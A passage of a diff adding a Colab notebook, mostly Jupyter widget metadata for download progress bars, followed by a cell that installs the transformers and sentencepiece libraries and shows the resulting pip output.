+              "IPY_MODEL_565aa92b312740c2814a848d06cd1579",
+              "IPY_MODEL_e6128cd96bf142228293bc74045242da",
+              "IPY_MODEL_d8bdca0500fe4a9e9fab75edba46af84"
+            ],
+            "layout": "IPY_MODEL_ad06bac1ce8346c2adc989acc55e888c"
+          }
+        },
+        "565aa92b312740c2814a848d06cd1579": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_73a9f075b21e4da1bec000014173283f",
+            "placeholder": "",
+            "style": "IPY_MODEL_193773bef4394845a1338419390b76d1",
+            "value": "Downloading: 100%"
+          }
+        },
+        "e6128cd96bf142228293bc74045242da": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a65f0ca4aaa24240801314983191c170",
+            "max": 798293,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d887c728f5504e6eaf95b07971447ea6",
+            "value": 798293
+          }
+        },
+        "d8bdca0500fe4a9e9fab75edba46af84": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fcdb377579fc45a4a84e96f0113874ef",
+            "placeholder": "",
+            "style": "IPY_MODEL_f1e68bd4977b4353b7fe5ce953642ef1",
+            "value": " 780k/780k [00:00<00:00, 3.25MB/s]"
+          }
+        },
+        "ad06bac1ce8346c2adc989acc55e888c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "73a9f075b21e4da1bec000014173283f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "193773bef4394845a1338419390b76d1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a65f0ca4aaa24240801314983191c170": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d887c728f5504e6eaf95b07971447ea6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "fcdb377579fc45a4a84e96f0113874ef": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f1e68bd4977b4353b7fe5ce953642ef1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "29bb664e63714f4d8b872fb088728ba8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_5949c51fdbe4434a9d0907360583db3f",
+              "IPY_MODEL_7f57024773464cfd821e50d3e08acbbb",
+              "IPY_MODEL_edfb5a81ddd84ca8a7d2e742d8845958"
+            ],
+            "layout": "IPY_MODEL_0205d03218744ef3b4afd2f6b6e29b12"
+          }
+        },
+        "5949c51fdbe4434a9d0907360583db3f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_73da2e3ca1b24ea9b004209805d02ac7",
+            "placeholder": "",
+            "style": "IPY_MODEL_27ee464a1b5447d9b563d55173a8c07d",
+            "value": "Downloading: 100%"
+          }
+        },
+        "7f57024773464cfd821e50d3e08acbbb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0dda3c57f4914e3b912f90adc2c6bccc",
+            "max": 456356,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b63eacd563084ced8e20e7066c00862c",
+            "value": 456356
+          }
+        },
+        "edfb5a81ddd84ca8a7d2e742d8845958": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e5508e7cab9d44928b87de799565d06d",
+            "placeholder": "",
+            "style": "IPY_MODEL_11b5a188505f4616924db47def095842",
+            "value": " 446k/446k [00:00<00:00, 1.43MB/s]"
+          }
+        },
+        "0205d03218744ef3b4afd2f6b6e29b12": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "73da2e3ca1b24ea9b004209805d02ac7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "27ee464a1b5447d9b563d55173a8c07d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0dda3c57f4914e3b912f90adc2c6bccc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b63eacd563084ced8e20e7066c00862c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e5508e7cab9d44928b87de799565d06d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "11b5a188505f4616924db47def095842": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "98fbd9a86ab040ee90c6a57f62272da3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0f6e8126647e4d87a4cf6d9f053d81e5",
+              "IPY_MODEL_0aff7168112c471d92c5e42ec863e6e5",
+              "IPY_MODEL_bdde94a266814343a2a5b2472ce46936"
+            ],
+            "layout": "IPY_MODEL_904492fdd3b54ca88efbc511de296892"
+          }
+        },
+        "0f6e8126647e4d87a4cf6d9f053d81e5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_321a6f9cef534ce4b0f7843ef9f0eb40",
+            "placeholder": "",
+            "style": "IPY_MODEL_c1f46ad40e1f40aca9e0715209b8deca",
+            "value": "Downloading: 100%"
+          }
+        },
+        "0aff7168112c471d92c5e42ec863e6e5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7141101f202a4ed18d67f78610d95317",
+            "max": 239,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1090f354af9f4ac7a32b3ac7a61492f4",
+            "value": 239
+          }
+        },
+        "bdde94a266814343a2a5b2472ce46936": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e21406b5c4e045b5a6fd756446b02fcb",
+            "placeholder": "",
+            "style": "IPY_MODEL_a5bf24200bf644a0a8dfb7ff184125f5",
+            "value": " 239/239 [00:00<00:00, 4.39kB/s]"
+          }
+        },
+        "904492fdd3b54ca88efbc511de296892": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "321a6f9cef534ce4b0f7843ef9f0eb40": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c1f46ad40e1f40aca9e0715209b8deca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7141101f202a4ed18d67f78610d95317": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1090f354af9f4ac7a32b3ac7a61492f4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e21406b5c4e045b5a6fd756446b02fcb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a5bf24200bf644a0a8dfb7ff184125f5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        }
+      }
+    }
+  },
+  "cells": [
+    {
+      "cell_type": "code",
+      "source": [
+        "!pip install --upgrade transformers sentencepiece"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "90t7Knj1_GLi",
+        "outputId": "ad82f1a1-59df-4986-cbfe-b534f4207328"
+      },
+      "execution_count": 1,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Collecting transformers\n",
+            "  Downloading transformers-4.18.0-py3-none-any.whl (4.0 MB)\n",
+            "\u001b[K     |████████████████████████████████| 4.0 MB 5.2 MB/s \n",
+            "\u001b[?25hCollecting sentencepiece\n",
+            "  Downloading sentencepiece-0.1.96-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.2 MB)\n",
+            "\u001b[K     |████████████████████████████████| 1.2 MB 42.8 MB/s \n",
+            "\u001b[?25hCollecting tokenizers!=0.11.3,<0.13,>=0.11.1\n",
+            "  Downloading tokenizers-0.12.1-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (6.6 MB)\n",
+            "\u001b[K     |████████████████████████████████| 6.6 MB 42.9 MB/s \n",
+            "\u001b[?25hCollecting huggingface-hub<1.0,>=0.1.0\n",
+            "  Downloading huggingface_hub-0.5.1-py3-none-any.whl (77 kB)\n",
+            "\u001b[K     |████████████████████████████████| 77 kB 6.1 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers) (4.64.0)\n",
+            "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers) (2019.12.20)\n",
+            "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers) (3.6.0)\n",
+            "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers) (21.3)\n",
+            "Collecting pyyaml>=5.1\n",
